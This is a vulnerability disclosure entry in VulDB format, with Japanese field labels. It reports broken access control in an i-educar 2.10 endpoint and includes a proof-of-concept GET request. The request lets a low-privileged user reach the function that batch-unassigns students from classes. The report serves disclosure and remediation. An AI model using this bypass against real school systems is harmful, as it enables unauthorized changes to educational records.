| タイトル | Portabilis i-educar 2.10 Broken Access Control |
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| 説明 | # Broken Access Control in `/cancelar-enturmacao-em-lote/[ID]` Endpoint
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## Summary
A **Broken Access Control** vulnerability was identified in the `/cancelar-enturmacao-em-lote/[ID]` endpoint of the _i-educar_ application. This vulnerability allows users without proper permissions to access restricted functionality, bypassing authorization checks.
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## Details
**Vulnerable Endpoint:** `GET cancelar-enturmacao-em-lote/[ID]`
**Authentication:** Required
The application fails to properly validate user permissions before granting access to this endpoint. As a result, even low-privileged users can successfully access the functionality intended only for .
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## PoC
1. Authenticate as a non-privileged user.
![[Pasted image 20250821190942.png]]
![[Pasted image 20250821191019.png]]
2. Send the following request::
```
GET /cancelar-enturmacao-em-lote/15 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Referer: http://localhost/enturmacao-em-lote/15
Cookie: i_educar_session=ikrAPvWjSx0V5drm82zlgu1kBByJdsCx1gJkiwsu
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
```
3. We could observe that we have access to the page and to the function to batch unassign students from classes. And, this user, should not do that.
![[Pasted image 20250821195629.png]]
---
## Impact
Broken Access Control vulnerabilities can have severe consequences, including:
- Unauthorized access to restricted functionality
- Escalation of privileges for low-level users
- Exposure of sensitive data and potential system compromise
- Loss of confidentiality and integrity of educational records
- Reputational damage to the organization
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| ソース | ⚠️ https://github.com/marcelomulder/CVE/blob/main/i-educar/Broken%20Access%20Control%20Vulnerability%20%20in%20%60.cancelar-enturmacao-em-lote.(ID)%60%20Endpoint.md |
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| ユーザー | marceloQz (UID 87549) |
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| 送信 | 2025年08月29日 16:24 (8 月 ago) |
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| モデレーション | 2025年09月07日 13:45 (9 days later) |
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| ステータス | 承諾済み |
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| VulDBエントリ | 323019 [Portabilis i-Educar 迄 2.10 cancelar-enturmacao-em-lote 特権昇格] |
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| ポイント | 20 |
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